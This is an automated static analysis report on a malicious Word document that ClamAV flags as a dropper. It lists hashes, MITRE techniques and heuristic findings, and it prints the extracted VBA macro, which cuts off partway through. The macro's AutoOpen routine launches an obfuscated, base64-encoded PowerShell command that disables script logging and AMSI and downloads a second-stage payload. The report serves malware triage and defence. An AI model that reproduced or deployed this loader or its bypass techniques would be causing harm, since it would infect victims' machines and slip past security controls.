Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7745a5ffd1be0409…

MALICIOUS

Office (OLE)

107.5 KB Created: 2018-07-04 13:29:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: bac308ed70500b7654fdd4e6faacf2dc SHA-1: 919ff8efe14f65f2c280205a2efadba9fb061de9 SHA-256: 7745a5ffd1be0409130ae24a4f08965eed7553146231ca00f98d318b7fcad849
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

This Office document contains a VBA macro with an AutoOpen subroutine that calls the Shell function. The script constructs and executes a PowerShell command to download and run a second-stage payload. The embedded URL is likely used for this download. The ClamAV detection name further supports its classification as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6600757-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6600757-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://sts.gesce.ca/pixel2x2.png?id=__TOKEN__ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5465 bytes
SHA-256: 47f2044f590d63c20f1d04da2a397f208a3389c9b5e4967eb42bb4096673a8c1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    Call M9OSBM72
    ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges
End Sub


Sub M9OSBM72()
 Dim c As String
   
p1 = "powe" + "rshell"
p2 = " -noProf -sta  "
p3 = " " + "  " + "-e" + "nc "
px = p1 + p2 + p3
c = px + "SQBmACgAJABQAFMAVgBlAHIAcwBpAG8ATgBUAGEAYgBsAEUALgBQAFMAVgBlAHIAcwBpAE8AbgAuAE0AYQBKAE8AcgAgAC0ARwBFACAAMwApAHsAJABHAFAARgA9AFsAcgBFAGYAXQAuAEEAcwBzAGUATQBCAEwAeQAuAEcAZQB0AFQAWQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAEkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABHA" _
+ "FAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAdABWAEEAbAB1AEUAKAAkAE4AVQBsAEwAKQA7AEkAZgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZ" _
+ "wBnAGkAbgBnACcAXQA9ADAAfQAkAFYAQQBMAD0AWwBDAE8ATABMAEUAQwB0AGkAbwBuAHMALgBHAEUATgBlAHIAaQBjAC4ARABJAEMAdABpAE8AbgBhAHIAeQBbAFMAdAByAEkAbgBHACwAUwBZAFMAdABlAE0ALgBPAGIASgBlAGMAdABdAF0AOgA6AE4AZQB3ACgAKQA7ACQAdgBBAEwALgBBAGQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAGQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDA" _
+ "EgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJAB2AGEATAB9AEUAbABTAGUAewBbAFMAQwBSAGkAcAB0AEIAbABPAGMASwBdAC4AIgBHAGUAVABGAGkARQBgAGwAZAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAEwAdQBFACgAJABOAHUATABsACwAKABOAEUAVwAtAE8AYgBqAGUAQwB0ACAAQwBvAEwAbABFAEMAdABpAG8ATgBTAC4AR" _
+ "wBlAE4AZQBSAGkAQwAuAEgAQQBTAGgAUwBFAFQAWwBTAHQAUgBpAE4ARwBdACkAKQB9AFsAUgBFAGYAXQAuAEEAcwBzAEUATQBiAEwAeQAuAEcARQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBACcAIAArACAAJwBtAHMAaQBVAHQAaQBsAHMAJwApAHwAPwB7ACQAXwB9AHwAJQB7ACQAXwAuAEcAZQB0AEYASQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAFQAVgBhAEwAdQBlACgAJABuAFUATABsACwAJAB0AHIAVQBlACkAfQA7AH0AOwBbAFMAWQBzAFQARQBtAC4ATgBlA" _
+ "FQALgBTAGUAUgBWAGkAQwBFAFAAbwBpAG4AVABNAEEATgBBAGcARQByAF0AOgA6AEUAeABwAEUAQwBUADEAMAAwAEMATwBOAHQASQBOAHUAZQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBiAGoARQBDAFQAIABTAHkAcwBUAEUAbQAuAE4ARQBUAC4AVwBlAEIAQwBMAGkARQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAnADsAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQAVwBjAC4ASABFAEEARABlAHIAU" _
+ "wAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUABSAE8AeAB5AD0AWwBTAHkAUwB0AEUATQAuAE4ARQBUAC4AVwBFAEIAUgBlAFEAdQBFAHMAdABdADoAOgBEAEUAZgBBAFUAbABUAFcAZQBiAFAAUgBvAHgAeQA7ACQAVwBjAC4AUAByAE8AWABZAC4AQwBSAGUARABlAG4AVABpAGEATABTACAAPQAgAFsAUwB5AHMAVABlAE0ALgBOAGUAVAAuAEMAcgBFAGQAZQBuAHQASQBhAEwAQwBhAEMAaABFAF0AOgA6AEQARQBGAGEAdQBsAFQATgBFAHQAdwBvAFIASwBDAHIARQBkAGUATgBUAGkAQQBsAFMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAUwB0A" _
+ "EUAbQAuAFQARQB4AHQALgBFAG4AQwBPA
... (truncated)

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